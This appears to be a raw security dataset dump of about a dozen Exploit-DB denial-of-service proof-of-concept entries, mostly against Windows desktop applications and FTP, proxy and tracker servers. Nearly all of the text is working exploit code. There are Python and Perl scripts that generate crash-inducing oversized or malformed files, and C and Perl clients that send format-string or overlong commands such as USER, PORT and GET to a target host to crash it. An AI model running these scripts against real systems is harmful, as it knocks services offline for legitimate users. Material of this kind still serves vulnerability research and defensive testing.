deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46129
Description: Blob Studio 2.17 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-11
Author: Ihsan Sencan

Exploit:
# Exploit Title: Blob Studio 2.17 - Denial of Service (PoC)
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.pixarra.com/
# Software Link: http://www.pixarra.com/uploads/9/4/6/3/94635436/tbblobstudio_install.exe
# Version: 2.17
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Blob Studio Run / Enter Key...
# Any character.

#!/usr/bin/python
    
buffer = "A" * 10
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #46087
Description: BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-07
Author: Luis Martínez

Exploit:
# Exploit Title: BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-04
# Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nsauditor.com/downloads/blueauditor_setup.exe
# Tested Version: 1.7.2.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python BlueAuditor_1.7.2.0.py
# 2.- Open BlueAuditor_1.7.2.0.txt and copy content to clipboard
# 3.- Open BlueAuditor
# 4.- Register -> Enter Registration Code...
# 5.- Name: -> l4m5
# 6.- Paste ClipBoard on "Key:"
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 256
f = open ("BlueAuditor_1.7.2.0.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #47857
Description: BlueAuditor 1.7.2.0 - 'Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: BlueAuditor 1.7.2.0 - 'Name' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/blueauditor_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install BlueAuditor
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.BlueAuditor Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #1409
Description: BlueCoat WinProxy 6.0 R1c - GET Denial of Service
Type: dos
Platform: windows
Date: 2006-01-07
Author: FistFuXXer

Exploit:
#!perl
#
# "WinProxy 6.0 R1c" Remote DoS Exploit
#
# Author:  FistFucker
# e-Mail:  FistFuXXer@gmx.de
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=363
#
# CVE info:
# CAN-2005-3187
#

use IO::Socket;

#
# destination IP address
#
$ip = '127.0.0.1';

#
# destination TCP port
#
$port = 80;


print '"WinProxy 6.0 R1c" Remote DoS Exploit'."\n\n";

$sock = IO::Socket::INET->new
(

    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 2

) or print '[-] Error: Could not establish a connection to the server!' and exit(1);

print "[+] Connected.\n";

$sock->send('GET /'. 'A' x 32768 ." HTTP/1.1\r\n\r\n");

print "[+] DoS string has been sent.";

close($sock);

# milw0rm.com [2006-01-07]
Exploit-DB #41474
Description: BlueIris 4.5.1.4 - Denial of Service
Type: dos
Platform: windows
Date: 2017-02-28
Author: Peter Baris

Exploit:
import socket


# Title: BlueIris - Denial of Service
# Date: 2017-02-28
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://blueirissoftware.com/blueiris.exe
# Version: 4.5.1.4
# Tested on: Windows Server 2008 R2 Standard x64


# Start this fake FTP server and create an FTP connection in the software. Use the "Test" button to trigger the vulnerability.

buffer = "A"*5000
port = 21
s = socket.socket()
ip = '0.0.0.0'             
s.bind((ip, port))            
s.listen(5)                    

 
print 'Listening on FTP port: '+str(port)
 
while True:
	conn, addr = s.accept()     
	conn.send('220 '+buffer+'\r\n')
	conn.recv(1024)
	conn.send('250 '+buffer+'\r\n')
	conn.close()
Exploit-DB #46893
Description: BlueStacks 4.80.0.1060 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-22
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: BlueStacks 4.80.0.1060 - Denial of Service (PoC)
# Date: 21/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.bluestacks.com
# Software: https://www.bluestacks.com/download.html?utm_campaign=bluestacks-4-en
# Version: 4.80.0.1060
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'Bluestacks.py', it will create a new file 'exploit.txt'
# 2.- Copy the text from the generated exploit.txt file to clipboard
# 3.- Open BlueStacks
# 4.- Paste clipboard in the search field and click on the search button
# 5.- Crashed

buffer = "\x41" * 100000

f = open ("exploit.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #18029
Description: BlueZone - '.zft' File Local Denial of Service
Type: dos
Platform: windows
Date: 2011-10-24
Author: Iolo Morganwg

Exploit:
#!/usr/bin/perl -w
# Exploit Title: BlueZone Desktop Malformed .zft ffeil Local Denial of Service
# Date: 24-10-11
# Author: Iolo Morganwg
# Version: BlueZone Secure FTP v5.2C1 Build 1469
# Download: http://www.rocketsoftware.com/bluezone/products/secure-ftp/downloads/secure-ftp
# Tested on: Windows XP SP3

#To trigger: Run script {chwilfriwio.pl}, open with BlueZoneFTP, program dies - horribly!.
 
my $ffeil = "chwilfriwio.zft";
my $head = "BFTP100EKColorsVCustom@";
my $junk = "A" x 200;
 
open($ffeil, ">$ffeil");
print $ffeil $head.$junk;
close($ffeil);
Exploit-DB #17982
Description: BlueZone Desktop - '.zap' file Local Denial of Service
Type: dos
Platform: windows
Date: 2011-10-15
Author: Silent_Dream

Exploit:
# Exploit Title: BlueZone Desktop Malformed .zap file Local Denial of Service
# Date: 10-15-11
# Author: Silent Dream
# Software Link: http://www.rocketsoftware.com/bluezone/downloads/desktop-free-trial
# Version: Latest
# Tested on: Windows XP SP3

#To trigger: Run this script, double click file to open with bzap.exe, program dies.

my $file = "bluepwn.zap";
my $head = "BZAP200BK";
my $junk = "A" x 20;

open($File, ">$file");
print $File $head.$junk;
close($FILE);
Exploit-DB #18030
Description: BlueZone Desktop - Multiple Malformed Files Local Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2011-10-25
Author: Silent_Dream

Exploit:
# Exploit Title: BlueZone Desktop Malformed .zmd file Local Denial of Service
# Date: 10-24-11
# Author: Silent Dream
# Software Link: http://www.rocketsoftware.com/bluezone/downloads/desktop-free-trial
# Version: Latest
# Tested on: Windows XP SP3
 #To trigger: Run this script, double click file to open with bzmd.exe, program dies.
 
my $file = "bluez.zmd";
my $head = "BZMD215AK";
my $junk = "A" x 20;
 
open($File, ">$file");
print $File $head.$junk;
close($FILE);

exit();
# Exploit Title: BlueZone Desktop Malformed .zmp file Local Denial of Service
# Date: 10-24-11
# Author: Silent Dream
# Software Link: http://www.rocketsoftware.com/bluezone/downloads/desktop-free-trial
# Version: Latest
# Tested on: Windows XP SP3
#To trigger: Run this script, double click file to open with bzmp.exe, program dies.
 
my $file = "bluez.zmp";
my $head = "BZMP215AK";
my $junk = "A" x 20;
 
open($File, ">$file");
print $File $head.$junk;
close($FILE);

exit();
# Exploit Title: BlueZone Desktop Malformed .zvt file Local Denial of Service
# Date: 10-24-11
# Author: Silent Dream
# Software Link: http://www.rocketsoftware.com/bluezone/downloads/desktop-free-trial
# Version: Latest
# Tested on: Windows XP SP3
#To trigger: Run this script, double click file to open with bzvt.exe, program dies.
 
my $file = "bluez.zvt";
my $head = "BZVT100AK";
my $junk = "A" x 20;
 
open($File, ">$file");
print $File $head.$junk;
close($FILE);

exit();
# Exploit Title: BlueZone Desktop Malformed .zad file Local Denial of Service
# Date: 10-24-11
# Author: Silent Dream
# Software Link: http://www.rocketsoftware.com/bluezone/downloads/desktop-free-trial
# Version: Latest
# Tested on: Windows XP SP3
#To trigger: Run this script, double click file to open with bzad.exe, program dies.
 
my $file = "bluez.zad";
my $head = "BZAD200BK";
my $junk = "A" x 20;
 
open($File, ">$file");
print $File $head.$junk;
close($FILE);
Exploit-DB #8607
Description: Bmxplay 0.4.4b - '.bmx' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-05-04
Author: SirGod

Exploit:
#####################################################################################################
#                    Bmxplay 0.4.4b (.BMX File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
#               Downlaod : http://www.brothersoft.com/bmxplay-download-235557.html
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.bmx";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

# milw0rm.com [2009-05-04]
Exploit-DB #1199
Description: BNBT BitTorrent EasyTracker 7.7r3 - Denial of Service
Type: dos
Platform: windows
Date: 2005-09-06
Author: Sowhat

Exploit:
/* BNBT BitTorrent EasyTracker Remote Denial Of Service
   
   Versions:
   Version 7.7r3.2004.10.27 and below
  
   Vendors:
   http://bnbt.go-dedicated.com/
   http://bnbteasytracker.sourceforge.net/
   http://sourceforge.net/projects/bnbtusermods/

   Bug find and coded by:
   Sowhat@@secway@org
   http://secway.org

   This PoC will Crash the server.
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

"GET /index.htm HTTP/1.0\r\n:\r\n\r\n";

int main(int argc, char *argv[])
{
	WSADATA wsaData;
	WORD wVersionRequested;
	struct hostent  *pTarget;
	struct sockaddr_in 	sock;
	char *target;
	int port,bufsize;
	SOCKET mysocket;
	
	if (argc < 2)
	{
		printf(" ######################################################################\r\n");
		printf(" #   BNBT BitTorrent EasyTracker DoS by sowhat <sowhat@@secway@org>   #\r\n", argv[0]);
		printf(" #          This exploit will Crash the Server                        #\r\n");
		printf(" #               http://www.secway.org                                #\r\n");		
		printf(" ######################################################################\r\n");
		printf(" Usage:\r\n %s <targetip> [targetport] (default is 6969)	\r\n", argv[0]);
		printf(" Example:\r\n");
		printf("	%s 1.1.1.1\r\n",argv[0]);
		printf("	%s 1.1.1.1 8888\r\n",argv[0]);
		exit(1);
	}

	wVersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

	target = argv[1];
	port = 6969;

	if (argc >= 3) port = atoi(argv[2]);
	bufsize = 1024;
	if (argc >= 4) bufsize = atoi(argv[3]);

	mysocket = socket(AF_INET, SOCK_STREAM, 0);
	if(mysocket==INVALID_SOCKET)
	{	
		printf("Socket error!\r\n");
		exit(1);
	}

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(target)) == NULL)
	{
		printf("Resolve of %s failed\n", argv[1]);
		exit(1);
	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons((USHORT)port);

	printf("Connecting...\n");
	if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
	{
		printf("Couldn't connect to host.\n");
		exit(1);
	}

	printf("Connected!...\n");
	printf("Sending Payload...\n");
	if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
	{
		printf("Error Sending the Exploit Payload\r\n");
		closesocket(mysocket);
		exit(1);
	}

	printf("Payload has been sent! Check if the webserver is dead.\r\n");
	closesocket(mysocket);
	WSACleanup();
	return 0;
}

// milw0rm.com [2005-09-06]
Exploit-DB #29791
Description: Boilsoft RM TO MP3 Converter 1.72 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-11-23
Author: Akin Tosunlar

Exploit:
# Exploit Title: Boilsoft RM TO MP3 Converter 1.72 (.wav) - Crash POC
# Date: 21.11.2013
# Exploit Author: Akin Tosunlar
# Software Link: http://www.boilsoft.net/download/rmtomp3.exe
# Version: 1.72 (Probably old version of software and the LATEST version too)
# Vendor Homepage: http://www.boilsoft.net/
# Tested on: [ Windows XP sp3]
#============================================================================================
# After creating POC file (.wav), Add File To Program
#============================================================================================
# Contact :
#------------------
# Web Page : http://www.vigasis.com
#============================================================================================

#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=ffffffff ebx=003b96d8 ecx=00000000 edx=00000000 esi=ffffffff edi=001b99ba
#eip=7498e82c esp=0012db78 ebp=0012dc0c iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
  
#!/usr/bin/perl

my $file= "dos.wav";

my $header = "\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01" .
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E" .
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22" .
"\x00\x31";

my $junk = "\x90" x 5000;

open($FILE,">$file");
print $FILE $header.$junk;
close($FILE);
print "DOS WAV FILE CREATED!!\n";
Exploit-DB #3128
Description: BolinTech DreamFTP Server - 'USER' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-01-14
Author: Marsu

Exploit:
/**************************************************************************
*BolinTech DreamFTP USER buffer overflow                                  *
*                                                                         *
*The server does not correctly handle format string so sending a command  *
*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
*                                                                         *
*This is only a POC but code execution is possible                        *
*                                                                         *
*usage: dreamftp.exe ip port                                              *
*                                                                         *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
**************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
	struct hostent *he;
	struct sockaddr_in sock_addr;
	WSADATA wsa;
	int ftpsock;
	char recvbuff[1024];
	char evilbuff[5003];
	int buflen=5000;// edx=31253125
	int i;

	if (argc!=3)
	{
		printf("[+] Usage: %s <ip> <port>\n",argv[0]);
		return 1;
	}
	WSACleanup();
	WSAStartup(MAKEWORD(2,0),&wsa);

	printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
	if ((he=gethostbyname(argv[1])) == NULL) {
		printf("Failed\n[-] Could not init gethostbyname\n");
		return 1;
	}
	if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Failed\n[-] Socket error\n");
		return 1;
	}

	sock_addr.sin_family = PF_INET;
	sock_addr.sin_port = htons(atoi(argv[2]));
	sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(sock_addr.sin_zero), '\0', 8);
	if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
		printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);

	printf("[+] Building payload ... ");
	for (i=0;i<buflen;i+=2) {
		memcpy(evilbuff+i,"%1",2);
	}

	memcpy(evilbuff,"USER ",5);
	memcpy(evilbuff+buflen,"\r\n\0",3);
	printf("OK\n[+] Sending USER ... ");
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf("Failed\n[-] Could not send\n");
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);
	Sleep(1000);
	printf("[+] Host should be down\n");
	return 0;
}

// milw0rm.com [2007-01-14]
Exploit-DB #23660
Description: BolinTech DreamFTP Server 1.0 - User Name Format String
Type: dos
Platform: windows
Date: 2004-02-07
Author: shaun2k2

Exploit:
// source: https://www.securityfocus.com/bid/9600/info

It has been reported that Dream FTP Server may be prone to a remote format string vulnerability when processing a malicious request from a client for a username during FTP authentication. The issue could crash the server.

Dream FTP Server version 1.02 has been reported to be prone to this issue, however, it is possible that other versions may be affected by this issue as well.

/* dreamftp-DoS.c - Dream FTP format string
vulnerability DoS PoC.
 *
 * This program is a simple PoC for the format string
vulnerability found
 * in BolinTech dreamftp by intuit.  Although
theoretically there is a
 * window of possibility of arbitrary code execution,
the vulnerability is
 * simply demonstrated to cause DoS.  After running
this code against a
 * Dream FTP server, the daemon will crash, denying
service to legimate
 * users.
 *
 *
 * -shaun2k2 - shaunige@yahoo.co.uk
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

#define PORT 21

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Dream FTPd format string
vulnerability DoS PoC,\n");
                printf("by shaun2k2 -
shaunige@yahoo.co.uk\n\n");
                printf("Usage: %s <host>\n", argv[0]);
                exit(-1);
        }

        int sock;
        struct hostent *he;
        struct sockaddr_in dest;
        char explbuf[10];


        if((he = gethostbyname(argv[1])) == NULL) {
                herror("gethostbyname()");
                exit(-1);
        }


        printf("Dream FTPd format string vulnerability
DoS PoC,\n");
        printf("by shaun2k2 -
shaunige@yahoo.co.uk\n\n");

        printf("[+] Crafting exploit buffer...\n\n");
        memcpy(explbuf, "USER %n\r\n", 9);

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
                perror("socket()");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_port = htons(PORT);
        dest.sin_addr = *((struct in_addr
*)he->h_addr);

        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) < 0) {
                perror("socket()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        sleep(1);
        printf("[+] Sending malicious format
string...\n");
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(2);
        close(sock);

        printf("[+] Done!\n");

        return(0);
}
Exploit-DB #2972
Description: BolinTech DreamFTP Server 1.0.2 - 'PORT' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-12-21
Author: InTeL

Exploit:
/*
=============================================================
DREAM FTP Server 1.0.2 (PORT) Denial of Service Exploit
=============================================================
Discovered by: InTeL
*Tested on DREAM FTP v1.02 on Windows XP SP2*

Dream FTP v1.02 also has anonymous logins enabled by default 
which enables anyone to crash the server at will.
But if the anonymous logins have been disabled try it with 
a another user/pass account

Shoutz: bryan@top-notch.ws , Digerati, Erazerz, everyone else u kno who u are
*/

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib,"wsock32.lib")

int usage(char *);


int usage(char *filename)
{
	   printf("Dream FTP v1.02 DoS exploit\r\n");
	   printf("By InTeL\r\n");
	   printf("USAGE: %s <IP_Address> <port>\r\n", filename);

	exit(0);
}

int main(int argc, char *argv[])
{
	char evilbuf[40], recvbuf[1028];
	unsigned short port;
	struct sockaddr_in saddr;
	struct hostent *he;
	WSADATA wsaData;
	SOCKET sock;

	if(argc != 3)
		usage(argv[0]);

	port = atoi(argv[2]);	
	if(WSAStartup(MAKEWORD(2,2), &wsaData) != 0){
		printf("Unable to initialize Winsock \n");
		exit(1);
	}

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET){
		printf("Socket Error \n");
		exit(1);
	}

	if ((he = gethostbyname(argv[1])) == NULL){  
		printf("Couldnt Resolve %s \n",argv[1]);
		exit(1);
	}

	memset(&saddr, 0, sizeof(saddr));
	saddr.sin_family = AF_INET;
	saddr.sin_addr = *((struct in_addr *)he->h_addr);	
	saddr.sin_port = htons(port);

	if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR){
		printf("Connect Error \n");
      	exit(1);
	}

	for(int i = 0; i<3;i++){
		memset(recvbuf, 0, sizeof(recvbuf));
		recv(sock, recvbuf, 1027, 0);
	}
	printf("Logging in\r\n");	

	memset(evilbuf, 0,sizeof(evilbuf));
	strcpy(evilbuf, "USER Anonymous\r\n"); //USER
	send (sock, evilbuf, strlen(evilbuf), 0);
   
	for(i=0;i<4;i++){
		memset(recvbuf,0,sizeof(recvbuf));
		recv(sock, recvbuf, 1027, 0);
   	}
   
	memset(evilbuf, 0, sizeof(evilbuf));
	strcpy(evilbuf, "PASS Anonymous\r\n"); //PASS
	send (sock, evilbuf, strlen(evilbuf), 0);

	for(i=0; i<3;i++) {
		memset(recvbuf, 0, sizeof(recvbuf));
		recv(sock, recvbuf, 1027, 0);
   	}
	printf("Building overflow string\r\n");

	memset(evilbuf,0,sizeof(evilbuf));
	strcpy(evilbuf, "PORT ");  //PORT 
	for(i = 5;i != 36;i++)
		evilbuf[i] = 'A';
   	strcat(evilbuf,"\r\n");
	
	send (sock, evilbuf, strlen(evilbuf), 0);  
   
	printf("DoS Attack Done\r\n");
	closesocket(sock);

	return 0;
}

// milw0rm.com [2006-12-21]
Exploit-DB #9871
Description: Boloto Media Player 1.0.0.9 - '.pls' File Denial of Service
Type: dos
Platform: windows
Date: 2009-10-27
Author: Dr_IDE

Exploit:
#############################################################################
#
# Boloto Media Player 1.0.0.9 Local (.PLS) Crash PoC
# Found By:	Dr_IDE
# Download:	http://www.tucows.com/preview/602821
# Tested On:	XPSP3
# Note:		It locks hard if you add this file to the playlist and click.
#
#############################################################################

buff = ("\x41" * 5000)

try:
	f1 = open("evil.pls","w");
	f1.write("[playlist]\nNumberOfFiles=3\n\nFile1=http://" + buff);
	f1.close();

except:
	print ("[-] Error. File couldn't be created.");


#[pocoftheday.blogspot.com]